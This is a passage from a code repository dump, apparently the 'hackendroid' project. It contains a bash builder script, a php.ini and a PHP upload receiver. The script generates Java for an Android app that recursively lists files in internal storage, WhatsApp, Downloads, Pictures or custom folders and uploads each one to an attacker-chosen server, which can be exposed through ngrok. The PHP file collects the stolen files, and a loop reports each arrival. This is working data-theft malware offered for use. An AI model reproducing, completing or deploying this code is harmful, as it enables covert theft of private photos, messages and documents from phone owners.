\e[0m' choose_dir 48 | 49 | if [[ "$choose_dir" != 1 ]] && [[ "$choose_dir" != 2 ]] && [[ "$choose_dir" != 3 ]] && [[ "$choose_dir" != 4 ]] && [[ "$choose_dir" != 5 ]] && [[ "$choose_dir" != 6 ]] && [[ "$choose_dir" != 7 ]] && [[ "$choose_dir" != 99 ]] && [[ "$choose_dir" != "" ]]; then 50 | printf "\e[1;93mInvalid!\e[0m\n" 51 | 52 | elif [[ $choose_dir -eq 1 ]]; then 53 | whatsapp=1 54 | 55 | elif [[ $choose_dir -eq 2 ]]; then 56 | picture=1 57 | 58 | elif [[ $choose_dir -eq 3 ]]; then 59 | download=1 60 | elif [[ $choose_dir -eq 4 ]]; then 61 | android=1 62 | elif [[ $choose_dir -eq 5 ]]; then 63 | 64 | read -p $'\n\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] (Ex: /storage/emulated/WhatsApp/Media): \e[0m' custom_dir 65 | if [[ $custom_dir != '' ]]; then 66 | custom=1 67 | echo $custom_dir >> custom_dir 68 | fi 69 | elif [[ $choose_dir -eq 6 ]]; then 70 | internal=1 71 | elif [[ $choose_dir -eq 7 ]]; then 72 | external=1 73 | 74 | elif [[ $choose_dir -eq 99 ]]; then 75 | exit 1 76 | 77 | fi 78 | 79 | done 80 | 81 | printf "\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m] Setting:\n" 82 | 83 | if [[ ! -d app/app/src/main/java/com/droidfiles/ ]]; then 84 | mkdir -p app/app/src/main/java/com/droidfiles/ 85 | fi 86 | 87 | cat app/main1 > app/app/src/main/java/com/droidfiles/MainActivity.java 88 | 89 | 90 | if [[ "$internal" -eq 0 ]] && [[ "$external" -eq 0 ]] && [[ "$whatsapp" -eq 0 ]] && [[ "$download" -eq 0 ]] && [[ "$custom" -eq 0 ]] && [[ "$picture" -eq 0 ]] && [[ "$android" -eq 0 ]]; then 91 | echo default 92 | internal=1 93 | fi 94 | 95 | 96 | if [[ $external -eq 1 ]]; then 97 | internal=0 98 | whatsapp=0 99 | download=0 100 | picture=0 101 | android=0 102 | fi 103 | 104 | if [[ $internal -eq 1 ]]; then 105 | whatsapp=0 106 | download=0 107 | picture=0 108 | android=0 109 | printf " \e[1;77m-\e[0m\e[1;93mInternal Storage\e[0m\n" 110 | 111 | # 112 | echo 'File dir1 = new File("/storage/emulated/0");' >> app/app/src/main/java/com/droidfiles/MainActivity.java 113 | 114 | echo 'List files1 = (List) FileUtils.listFiles(dir1, 115 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 116 | echo ' for (File file : files1) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 117 | echo 'try {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 118 | echo ' String path1 = file.getCanonicalPath();' >> app/app/src/main/java/com/droidfiles/MainActivity.java 119 | echo ' upload(path1);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 120 | echo '} catch (Exception e) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 121 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 122 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 123 | 124 | # 125 | 126 | fi 127 | 128 | if [[ "$external" -eq 1 ]]; then 129 | printf " \e[1;77m-\e[0m\e[1;93mExternal + Internal Storage\e[0m\n" 130 | 131 | # 132 | echo 'File dir2 = new File("/storage/");' >> app/app/src/main/java/com/droidfiles/MainActivity.java 133 | 134 | echo 'List files2 = (List) FileUtils.listFiles(dir2, 135 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 136 | echo ' for (File file : files2) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 137 | echo 'try {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 138 | echo ' String path2 = file.getCanonicalPath();' >> app/app/src/main/java/com/droidfiles/MainActivity.java 139 | echo ' upload(path2);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 140 | echo '} catch (Exception e) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 141 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 142 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 143 | 144 | # 145 | 146 | fi 147 | 148 | if [[ "$whatsapp" -eq 1 ]]; then 149 | printf " \e[1;77m-\e[0m\e[1;93mWhatsApp\e[0m\n" 150 | 151 | # 152 | echo 'File dir3 = new File("/storage/emulated/0/WhatsApp");' >> app/app/src/main/java/com/droidfiles/MainActivity.java 153 | 154 | echo 'List files3 = (List) FileUtils.listFiles(dir3, 155 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 156 | echo ' for (File file : files3) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 157 | echo 'try {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 158 | echo ' String path3 = file.getCanonicalPath();' >> app/app/src/main/java/com/droidfiles/MainActivity.java 159 | echo ' upload(path3);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 160 | echo '} catch (Exception e) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 161 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 162 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 163 | 164 | # 165 | 166 | fi 167 | 168 | if [[ "$download" -eq 1 ]]; then 169 | printf " \e[1;77m-\e[0m\e[1;93mDownloads\e[0m\n" 170 | 171 | 172 | # 173 | echo 'File dir4 = new File("/storage/emulated/0/Download");' >> app/app/src/main/java/com/droidfiles/MainActivity.java 174 | 175 | echo 'List files4 = (List) FileUtils.listFiles(dir4, 176 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 177 | echo ' for (File file : files4) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 178 | echo 'try {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 179 | echo ' String path4 = file.getCanonicalPath();' >> app/app/src/main/java/com/droidfiles/MainActivity.java 180 | echo ' upload(path4);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 181 | echo '} catch (Exception e) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 182 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 183 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 184 | 185 | 186 | # 187 | 188 | fi 189 | 190 | if [[ "$android" -eq 1 ]]; then 191 | printf " \e[1;77m-\e[0m\e[1;93mAndroid\e[0m\n" 192 | 193 | # 194 | 195 | echo 'File dir5 = new File("/storage/emulated/0/Android");' >> app/app/src/main/java/com/droidfiles/MainActivity.java 196 | 197 | echo 'List files5 = (List) FileUtils.listFiles(dir5, 198 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 199 | echo ' for (File file : files5) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 200 | echo 'try {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 201 | echo ' String path5 = file.getCanonicalPath();' >> app/app/src/main/java/com/droidfiles/MainActivity.java 202 | echo ' upload(path5);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 203 | echo '} catch (Exception e) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 204 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 205 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 206 | 207 | # 208 | fi 209 | 210 | if [[ "$picture" -eq 1 ]]; then 211 | printf " \e[1;77m-\e[0m\e[1;93mPictures\e[0m\n" 212 | 213 | # 214 | 215 | echo 'File dir6 = new File("/storage/emulated/0/Pictures");' >> app/app/src/main/java/com/droidfiles/MainActivity.java 216 | 217 | echo 'List files6 = (List) FileUtils.listFiles(dir6, 218 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 219 | echo ' for (File file : files6) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 220 | echo 'try {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 221 | echo ' String path6 = file.getCanonicalPath();' >> app/app/src/main/java/com/droidfiles/MainActivity.java 222 | echo ' upload(path6);' >> app/app/src/main/java/com/droidfiles/MainActivity.java 223 | echo '} catch (Exception e) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 224 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 225 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 226 | 227 | # 228 | 229 | 230 | fi 231 | 232 | if [[ "$custom" -eq 1 ]]; then 233 | printf " \e[1;77m-\e[0m\e[1;93mCustom\e[0m\n" 234 | lines=0 235 | for line_dir in $(cat custom_dir); do 236 | 237 | 238 | 239 | echo $line_dir 240 | 241 | # 242 | printf 'File custom_dir%s = new File(\"%s\");\n' $lines $line_dir >> app/app/src/main/java/com/droidfiles/MainActivity.java 243 | 244 | printf 'List c_files%s = (List) FileUtils.listFiles(custom_dir%s, 245 | TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);\n' $lines $lines >> app/app/src/main/java/com/droidfiles/MainActivity.java 246 | printf ' for (File file : c_files%s) {\n' $lines >> app/app/src/main/java/com/droidfiles/MainActivity.java 247 | echo 'try {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 248 | printf ' String c_path%s = file.getCanonicalPath();\n' $lines >> app/app/src/main/java/com/droidfiles/MainActivity.java 249 | printf ' upload(c_path%s);\n' $lines >> app/app/src/main/java/com/droidfiles/MainActivity.java 250 | echo '} catch (Exception e) {' >> app/app/src/main/java/com/droidfiles/MainActivity.java 251 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 252 | echo ' }' >> app/app/src/main/java/com/droidfiles/MainActivity.java 253 | 254 | # 255 | 256 | let lines+=1 257 | 258 | done 259 | rm -rf custom_dir 260 | fi 261 | 262 | cat app/main2 >> app/app/src/main/java/com/droidfiles/MainActivity.java 263 | 264 | printf " String urlServer = \"%s/upload_files.php\";\n" $host >> app/app/src/main/java/com/droidfiles/MainActivity.java 265 | 266 | cat app/main3 >> app/app/src/main/java/com/droidfiles/MainActivity.java 267 | 268 | 269 | } 270 | 271 | 272 | createmain() { 273 | 274 | if [[ ! -d app/app/src/main/java/com/droidfiles/ ]]; then 275 | mkdir -p app/app/src/main/java/com/droidfiles/ 276 | fi 277 | 278 | cat app/main1 > app/app/src/main/java/com/droidfiles/MainActivity.java 279 | 280 | 281 | } 282 | 283 | 284 | configureapp() { 285 | 286 | localhost="" 287 | if [[ $localhost == "" ]]; then 288 | localhost="localhost" 289 | fi 290 | printf "\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m]\e[0m\e[1;93m Example using localhost:\e[0m\n" 291 | printf " \e[1;77m Start Server: \e[0m\e[92m php -c php.ini -S %s:4444 \e[0m\n" $localhost 292 | printf " \e[1;77m Web Server: \e[0m\e[92m http://%s:4444 \e[0m\n" $localhost 293 | 294 | printf "\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m]\e[0m\e[1;93m Example using ngrok:\e[0m\n" 295 | 296 | printf " \e[1;77m Start Server: \e[0m\e[92m ./ngrok http 4444; php -c php.ini -S %s:4444 \e[0m\n" $localhost 297 | printf " \e[1;77m Web Server: \e[0m\e[92m https://*.ngrok.io \e[0m\n" 298 | 299 | 300 | read -p $'\n\e[1;77m[\e[0m\e[1;92m+\e[0m\e[1;77m]\e[0m\e[1;93m Choose a Web Server: \e[0m' host 301 | 302 | if [[ -z $host ]]; then 303 | exit 1 304 | fi 305 | 306 | printf "\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Configuring App...\e[0m\n\n" 307 | 308 | createmain 309 | read_dir 310 | 311 | if [[ ! -d uploadedfiles/ ]]; then 312 | mkdir uploadedfiles 313 | fi 314 | printf "\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] App Configured. Build app/ folder using Android Studio.\e[0m\n" 315 | } 316 | 317 | checkrcv() { 318 | 319 | printf "\n" 320 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting Files,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n" 321 | while [ true ]; do 322 | 323 | if [[ -e Log.log ]]; then 324 | printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] File Received!\e[0m\e[1;77m Saved: app/uploadedfiles/\e[0m\n" 325 | rm -rf Log.log 326 | fi 327 | done 328 | 329 | } 330 | 331 | 332 | 333 | 334 | 335 | banner 336 | dependencies 337 | #start 338 | configureapp 339 | -------------------------------------------------------------------------------- /image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programemerz/hackendroid/4dccb29714c1a73769db6e03f5c85911fdb841c3/image.png -------------------------------------------------------------------------------- /php.ini: -------------------------------------------------------------------------------- 1 | post_max_size = 800M 2 | -------------------------------------------------------------------------------- /upload_files.php: -------------------------------------------------------------------------------- 1 | >" . $target_path . $_FILES['error'] . " \r\n", 3, 6 | "Log.log"); 7 | 8 | error_log("Upload File >>" . basename($_FILES['uploadedfile']['name']) . " \r\n", 9 | 3, "Log.log"); 10 | 11 | if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 12 | echo "The file " . basename($_FILES['uploadedfile']['name']) . 13 | " has been uploaded"; 14 | } else { 15 | echo "There was an error uploading the file, please try again!"; 16 | } 17 | ?> 18 | --------------------------------------------------------------------------------